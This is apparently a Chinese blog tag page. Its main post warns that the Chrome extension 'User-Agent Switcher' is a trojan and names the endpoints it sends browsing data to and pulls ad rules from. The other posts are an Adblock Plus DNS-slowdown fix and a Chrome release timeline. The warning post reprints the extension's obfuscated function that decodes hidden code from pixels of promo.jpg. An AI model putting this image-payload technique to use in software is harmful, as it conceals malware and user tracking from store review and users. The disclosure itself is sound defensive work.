标签 Chrome 下的文章

Chrome插件User-Agent Switcher为木马程序,请尽快卸载

User-Agent Switcher for Google Chrome
提供方:useragentswitcher.org
此为插件里面包含恶意代码。
useragentswitcher.org提供的插件都不要下载。很是怀疑!

今天打开京东jd.com自动跳转到一些莫名其妙的网站。他会记录你的访问记录并发送到他的服务器(https://uaswitcher.org/logic/page/data)。chrome商店里面从2017年就有人举报此插件有毒。现在2018年年末的Chrome官方还提供下载。可见官方审核并不严格且效率低下。

恶意程序,访问京东jd.com会定时进行跳转 http://rtbs24.com/?target=https%3A%2F%2Fytthn.com%2Fclick-IQL4686A-HFDQCIIE%3Fbt%3D25%26tl%3D1%26sa%3D116%26url%3Dhttps%3A%2F%2Fwww.jd.com%2F,真心垃圾

大家不要用了,这个扩展含有木马。

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里。

然后 background.js 的第 80 行,从 promo.jpg 图片里解密出恶意代码并执行。

包含的行为包括:

会把你打开的每个 tab 的 url 等信息加密发送到 uaswitcher.org/logic/page/data

另外还会从 api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码。

详情讨论见:www.v2ex.com/t/389340

chrome 商店搜索 User-Agent Switcher,排第一的这个插件(45 万用户),是一个木马...

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里
background.js 的第 80 行,从这个图片里解密出恶意代码并执行

t.prototype.Vh = function(t, e) {
            if ("" === '../promo.jpg') return "";
            void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
            var n = this.ET,
                i = e.mp || n.mp,
                o = e.Tv || n.Tv,
                h = e.At || n.At,
                a = r.Yb(Math.pow(2, i)),
                f = (e.WC || n.WC, e.TY || n.TY),
                u = document.createElement("canvas"),
                p = u.getContext("2d");
            if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
            e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
            var c = p.getImageData(0, 0, u.width, u.height),
                d = c.data,
                g = [];
            if (c.data.every(function(t) {
                    return 0 === t
                })) return "";
            var m, s;
            if (1 === o)
                for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
            var v = "",
                w = 0,
                y = 0,
                l = Math.pow(2, h) - 1;
            for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
            return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
        }

会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
根据 threatbook 上的信息( https://x.threatbook.cn/domain/api.data-monitor.info ),我估计下面的几个插件都是这个作者的作品..
https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm

https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah

https://chrome.google.com/webstore/detail/%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%BC%D1%83%D0%B7%D1%8B%D0%BA%D1%83-%D0%B2%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5/hanjiajgnonaobdlklncdjdmpbomlhoa

https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg

这里也有人讨论这个问题 https://news.ycombinator.com/item?id=14889619

Chrome插件User–Agent Switcher恶意代码分析报告

User-Agent Switcher for Google Chrome Virus

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

Chrome扩展Adblock Plus造成本地域名DNS解析变慢

本地开始web app习惯性的修改hosts,加Apache的NamedVirtualHost指令,给web app一个单独的域名,方便和其他项目分区开来。

修改C:\Windows\System32\drivers\etc\hosts文件,添加:

127.0.0.1 tunpscom

Chrome访问 http://tunpscom,发现会卡在“正在解析地址”大概5秒钟,用IE、Firefox、Opera均无此问题。打开Chrome Dev Tool,Timing里面发现占用时间最长的是DNS解析时间。

dns_lookup_slow.png

清除Chrome缓存,重启Chrome,问题依旧。

换了一个思路,重装Chrome无此问题。新装的Chrome和老的Chrome无非是有无扩展、书签、 浏览历史、自动填充密码等差别。一一排除后,最后找到罪魁祸首:AdblockPlus,不需要卸载,打开http://tunpscom/,在ABP里面点击“对当前网站禁用”。刷新页面后,恢复正常的解析时间,大概100ms。

dns_lookup_slow2.png

Chrome版本发布时间表

Chrome 1 - 2008.12.11 (第一个稳定版本)
.. 161 天 ..
Chrome 2 - 2009.5.19 (页面缩放、自动填充)
.. 117 天 ..
Chrome 3 - 2009.9.15 (HTML5视频、主题)
.. 132 天 ..
Chrome 4 - 2010.1.25 (扩展、书签同步)
.. 57 天 ..
Chrome 4.1 - 2010.3.23 (翻译、内容过滤)
.. 63 天 ..
Chrome 5 - 2010.5.25 (更好的支持HTML5、切换书签管理、内置Flash)